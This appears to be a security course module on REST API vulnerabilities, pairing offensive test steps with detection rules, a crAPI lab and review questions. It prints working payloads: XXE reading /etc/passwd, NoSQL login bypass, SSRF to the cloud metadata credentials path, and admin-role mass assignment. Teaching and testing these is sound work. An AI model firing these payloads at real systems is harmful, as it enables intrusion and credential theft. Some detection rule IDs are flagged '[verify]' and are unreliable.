Skip to content

API Security (REST)

REST APIs concentrate business logic and data behind a single URL surface with predictable resource naming and HTTP-method semantics. The OWASP API Security Top 10 (2019, refreshed 2023) exists precisely because the same patterns that make REST clean — nouns for resources, verbs for methods, status codes for outcomes — also make IDOR predictable (GET /api/v1/users/123), mass assignment easy (POST /users with {"role":"admin"}), and rate-limiting absent on /api/* because “APIs don’t have UI rate limits.” The 2023 Optus breach (CVE-class API exposed id enumeration on customer records) and the 2023 T-Mobile API breach both began with predictable object references on REST endpoints that the API gateway failed to protect.

A REST API maps HTTP verbs (GET/POST/PUT/PATCH/DELETE) to nouns (/users, /orders/123). The vulnerability surface comes from two places: the binding between request data and object state (mass assignment, IDOR, schema confusion), and the authorization gap between authentication (“this is user X”) and authorization (“user X can do Y to resource Z”).

Request: PATCH /api/v1/users/123 Authorization: Bearer <user-A-token>
{"email": "new@x.com"}
Filter chain:
authn: Bearer token → user-A (sub=alice)
authz: can alice edit user 123? ← IDOR check happens here
binding: which fields are writable? ← mass-assignment check happens here
validate: schema, type, length
persist: UPDATE users SET email='new@x.com' WHERE id=123
response: 200 OK
Common failures:
[IDOR] authz missing → alice edits anyone's record
[mass-assign] binding accepts "role": "admin" from request → privilege escalation
[over-fetch] GET /api/v1/users/123 returns password_hash, mfa_secret
[under-/over- PATCH allows setting "password" but not "email"
restrict]
[rate] no rate limit on /api/v1/users/{id} → enumerate 1..100000
[method] PUT allowed where only PATCH intended → overwrite fields
[content-type] application/json validated, but application/xml or
text/plain parsed too → XXE or type confusion
[batch] GET /api/v1/users?ids=1,2,3,...,10000 → no max ids
[graph] this is GraphQL (W16)

Each link in the filter chain is a separate trust boundary. A failure at any one is an API breach.

  1. Map the API — discover endpoints. Sources: OpenAPI/Swagger docs (/openapi.json, /swagger.json, /api-docs, /v3/api-docs), error responses that leak valid paths, JS bundles (extract endpoints with linkfinder.py), proxy history (Burp passive scan), directory brute (ffuf -w raft-small-words.txt -u https://t/FUZZ).
  2. Identify auth model — Authorization: Bearer <JWT> (W13), Cookie: sid= (W12), API key in X-API-Key header or ?api_key=, Basic auth, mTLS, OAuth2 (W14).
  3. Test IDOR — for each object reference (/users/{id}, /orders/{id}, /documents/{uuid}):
    • Authenticate as user A, request user B’s resource.
    • Compare 200 vs 403 vs 404.
    • Try id enumeration: 1, 2, 3, ... — UUIDs sometimes enumerable via timing.
  4. Test mass assignment — for each write endpoint (POST /users, PATCH /users/{id}):
    • Submit {"role":"admin"}, {"is_admin":true}, {"verified":true}, {"email_verified_at":"2024-01-01"}.
    • Submit fields not in the official schema but plausible (password_hash, mfa_secret, tenant_id).
  5. Test over/under-fetch — GET /users/{id} and check response for sensitive fields (password_hash, mfa_secret, reset_token, api_key).
  6. Test rate limit — burst 1000 requests to /users/{id} and measure 200/429 ratio.
  7. Test HTTP method — try PUT, DELETE, PATCH on read-only resources.
  8. Test content-type confusion — submit application/xml body for an endpoint that documents only application/json; XXE or parser differential.
  9. Test for GraphQL shadow — /graphql, /api/graphql, /v1/graphql — if present, switch to W16 methodology.
TechniqueDescriptionDetection Difficulty
IDOR (Insecure Direct Object Reference)/api/users/123 no authz check → read/edit any userEasy to fix, common to miss
IDOR via UUID predictabilityUUID v1 has timestamp prefix → enumerableMedium — UUID v4 is random
Mass assignmentPATCH /users/me {"role":"admin"} acceptedEasy to fix (allowlist), common to miss
Mass assignment of nested fields{"profile":{"is_verified":true}}Medium — nested binding is harder to audit
Over-fetchingGET /users/123 returns password_hashEasy — should be field allowlist on response
Rate-limit absenceEnumerate /users/1..100000Easy — proxy should rate-limit
HTTP verb tamperingPUT /users/me instead of PATCHEasy — verbs should be explicit
Content-type confusionSubmit XML to JSON endpoint → XXEMedium — depends on parser
Batch IDOR/users?ids=1,2,3,...,1000Easy — cap array length
GraphQL masquerading as REST/api/graphql behind REST facade — switch to W16Medium — must recognize GraphQL
Token-in-URLAPI key in ?api_key= → leaked via RefererEasy — use header
Token-in-cacheable-URL/api/data?token= cached by CDN → token leakMedium — Cache-Control: private
OpenAPI doc exposure/openapi.json returns full schemaEasy — protect or version-gate
NoSQL injection (body){"username":{"$ne":null}} — see W21Medium — JSON-body parsing
SSRF via API params{"image_url":"http://169.254.169.254/"}Medium — see W5
JWT/cookie in JSON body{"user_id":1} trusted from client → identity spoofingEasy — never trust client-side user_id
Terminal window
# Discover OpenAPI / Swagger docs
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/swagger.txt -mc 200
# Common paths: /openapi.json, /swagger.json, /v3/api-docs, /api-docs,
# /api/openapi.json, /swagger/v1/swagger.json, /redoc
# Extract endpoints from JS bundle
python3 linkfinder.py -i 'https://target/static/app.bundle.js' -o cli
# Parse OpenAPI and generate request list
python3 -c "
import json, sys
spec = json.load(open('openapi.json'))
for path, methods in spec['paths'].items():
for m in methods:
if m in ('get','post','put','patch','delete'):
print(m.upper(), path)
" > endpoints.txt
# IDOR test — switch from user A's token to user B's resource
TOKEN_A=<user-a-jwt>
TOKEN_B=<user-b-jwt>
# As A, request B's order
curl -s https://target/api/orders/B-ORDER-ID -H "Authorization: Bearer $TOKEN_A" -w "\n%{http_code}\n"
# Expected (vuln): 200 + B's data. Expected (safe): 403 or 404.
# Mass-assignment test
curl -X PATCH https://target/api/users/me \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"email":"new@x.com","role":"admin","is_verified":true}'
# Then check what the response reveals / whether role updated:
curl -s https://target/api/users/me -H "Authorization: Bearer $TOKEN_A" | jq .
# Over-fetching — see what fields come back
curl -s https://target/api/users/123 -H "Authorization: Bearer $TOKEN_A" | jq 'keys'
# Sensitive: password_hash, mfa_secret, api_key, reset_token, ssn, dob
# Rate-limit test — send 200 requests in 2s, count 200 vs 429
seq 1 200 | xargs -I{} -P 50 curl -s -o /dev/null \
-w "%{http_code}\n" https://target/api/users/{} -H "Authorization: Bearer $TOKEN_A" \
| sort | uniq -c
# Healthy: high 429 count. Unhealthy: all 200.
# Method tampering
for m in GET POST PUT PATCH DELETE OPTIONS; do
echo -n "$m: "
curl -s -o /dev/null -w "%{http_code}\n" -X $m https://target/api/users/me -H "Authorization: Bearer $TOKEN_A"
done
# Content-type confusion — try XML on a JSON endpoint
curl -X POST https://target/api/users \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>'
# NoSQL injection in JSON body (W21)
curl -X POST https://target/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
# SSRF via API param (W5)
curl -X POST https://target/api/avatar \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Batch IDOR
curl https://target/api/users?ids=1,2,3,4,5,6,7,8,9,10 -H "Authorization: Bearer $TOKEN_A"
# BOLA (Broken Object Level Authz) — OWASP API1
# Test with multiple accounts in Burp: install "Autorize" extension
# Burp → Extender → BApp Store → Autorize
# Configure: low-priv cookie in Autorize settings
# Browse as high-priv → Autorize replays each request as low-priv → marks 200/403
# nuclei — API templates
nuclei -u https://target -t ~/nuclei-templates/http/technologies/ -tags api,openapi,swagger
nuclei -u https://target -t ~/nuclei-templates/http/exposures/ -tags api
# BurpSuite Pro → Scanner → Crawl and audit → selects API-specific checks:
# IDOR, mass assignment, open redirect, JWT issues, GraphQL introspection
# Kiterunner — REST endpoint brute
kr scan https://target -w ~/kiterunner/routes-large.kite -j 50
# Or
kr brute https://target -w ~/kiterunner/routes-large.kite

ModSecurity OWASP CRS — no dedicated API rule family, but:

  • 920220 (Content-Type policy) — catches XML body on JSON endpoint
  • 942100 (SQLi) — catches injection in IDOR params
  • 930100 (LFI) — catches ../ in resource IDs
  • 932100 (RCE) — catches shell metacharacters in body
  • 934100 (SSRF) — catches SSRF in URL params

Suricata — no API-specific SIDs; TLS+SNI + HTTP/2 header correlation detects unusual API traffic patterns [verify].

MITRE ATT&CK T1190 — Exploit Public-Facing Application (REST API exploitation). MITRE ATT&CK T1213.001 — Data from Information Repositories: Confluence (API abuse for data exfil). MITRE ATT&CK T1606.001 — Forge Web Credentials (API token forgery).

Wazuh rule 31171 — IDOR pattern: same Authorization user requesting sequential /users/N IDs [verify]. Wazuh rule 920/621 — mass-assignment pattern: PATCH/POST body contains role, is_admin, admin [verify]. Wazuh decoder for OpenAPI-fingerprinted endpoints — alert on schema mismatch.

Defender log signatures:

  • Same sub (JWT) requesting /users/{id} for 50+ distinct id values in 1 minute — IDOR enumeration.
  • PATCH/POST body containing fields not in the OpenAPI schema for that endpoint — mass-assignment probe.
  • Content-Type: application/xml to an endpoint documented as JSON — parser differential probe.
  • 200 responses from /openapi.json on production host — schema exposure.

Method shuffling. Some apps enforce authz on GET but skip it on HEAD, OPTIONS, PATCH-instead-of-PUT. Always test all verbs; even OPTIONS may reveal allowed methods.

Content-type shuffling. An endpoint that documents application/json may also accept application/x-www-form-urlencoded, application/xml, text/plain, multipart/form-data, or application/*+json (the +json suffix). Each parser may treat the body differently. XML → XXE. URL-encoded → different escaping rules. Multipart → file upload sinks.

JSON body tricks. Some parsers accept:

  • {"id": 123} (number) and {"id": "123"} (string) — type confusion in authz check.
  • {"id": [123, 456]} — batch IDOR if not capped.
  • {"id": {"$ne": null}} — NoSQL injection (W21).
  • Duplicate keys: {"role": "user", "role": "admin"} — different parsers take first or last.
  • Unicode escapes: {"\u0072ole": "admin"} — \u0072 = r. Some parsers normalize, some don’t.

Casing / trailing slash. /api/v1/Users/123 vs /api/v1/users/123 — some routers treat these as distinct paths and only one is protected. Trailing slash: /users/123/ may bypass exact-match ACL.

HTTP/2 to HTTP/1.1 downgrade. Some API gateways enforce authz on HTTP/2 but forward HTTP/1.1 to backend with the authz stripped. W18 covers this in the smuggling context.

Version bypass. /api/v2/users/123 may have weaker authz than /api/v1/users/123. Always enumerate /v1, /v2, /v3, /v0, /internal, /admin, /beta, /test, /staging.

EvasionWhat it bypassesDefense
HTTP method shuffleGET-only authzApply authz to all verbs; deny unlisted verbs
Content-type shuffleJSON-only schemaReject content types not explicitly allowed
JSON type confusionStrict-typed authzValidate type at schema layer
Duplicate keysLast-wins parserUse first-wins parser; reject duplicates
Trailing slashExact-match ACLNormalize URL before authz; reject unnormalized
Version bypassv1 strict, v2 looseCentralize authz; apply same policy to all versions
HTTP/2 downgradev2-only authzTerminate at gateway; re-apply authz on backend

⚠️ What caught me: A target’s REST API had /api/v1/users/{id} with strict authz. The “fix” was supposed to apply the same authz to /api/v2/users/{id}. It didn’t — v2 was a refactor that moved the authz check to a per-controller decorator, and the new decorator was only on show, not index. So GET /api/v2/users (the list endpoint) returned every user’s record including password_hash because the index action returned SELECT * with no field allowlist. The OpenAPI doc said GET /api/v2/users returned “a list of public user fields” — the doc was aspirational, not enforced. Lesson: never trust the OpenAPI doc as the spec of what is returned. Always inspect the actual response. Field allowlists must be in code, not docs.

Container: OWASP crAPI (Completely Ridiculous API) — purpose-built for OWASP API Top 10.

Terminal window
git clone https://github.com/OWASP/crAPI
cd crAPI
docker compose -f deploy/docker-compose-all-in-one.yml up -d
# Wait 60s for all services; browse to http://localhost:8888
# API base: http://localhost:8025
# Swagger: http://localhost:8025/swagger-ui/index.html
# Solve the challenges:
# 1. BOLA (IDOR) — access other users' data
# 2. Mass assignment — promote yourself to admin
# 3. JWT issues — see W13
# 4. NoSQL injection — see W21
# 5. SSRF — see W5
# 6. Rate-limit absence — enumerate coupons

Alternative: VAmPI (vulnerable API) — tvmpt/vampi Docker image, OWASP API Top 10 coverage.

Objective: complete the crAPI BOLA challenge (read another user’s profile and orders) AND the mass-assignment challenge (escalate to admin). Document the exact request and the field that was missing the allowlist.

Expected flag format: flag{api_idor_or_mass_assignment_owasp_api_top_10}.

Detection that should fire: ModSecurity 942100 on any SQLi in IDOR params; 920220 on XML content-type to a JSON endpoint; the API gateway log should show repeated 200 responses to /api/v1/users/{N} for sequential N — alert on this rate shape. For mass-assignment, the application log should show a field set on the user record that the schema doc says is read-only.

Conceptual: explain the difference between authentication (“is this user X?”) and authorization (“can user X do Y to resource Z?”) in the context of an IDOR vulnerability. Give a concrete example where authentication is correct but authorization is missing.

Technical: walk through a mass-assignment attack against PATCH /api/v1/users/me. What two implementation choices — one in the binding layer and one in the route handler — must both be wrong for the attack to succeed?

Scenario: you find an OpenAPI document at /openapi.json that documents GET /api/v1/users/{id} returning {id, name, email}. The actual response also returns password_hash and mfa_secret. Describe the defense in depth: what should the framework do, what should the controller do, and what should the schema doc do?

Compare IDOR via predictable integer IDs and IDOR via UUID v1 (timestamp-based) vs UUID v4 (random). What makes UUIDs less secure than expected, and what additional control is still required?

Why is rate-limiting at the API gateway insufficient as a defense against IDOR, and what additional control closes the gap? Describe a scenario where rate limiting actively harms detection.

→ W14 (OAuth & OIDC Attacks) · W16 (GraphQL Security) · W21 (NoSQL Injection)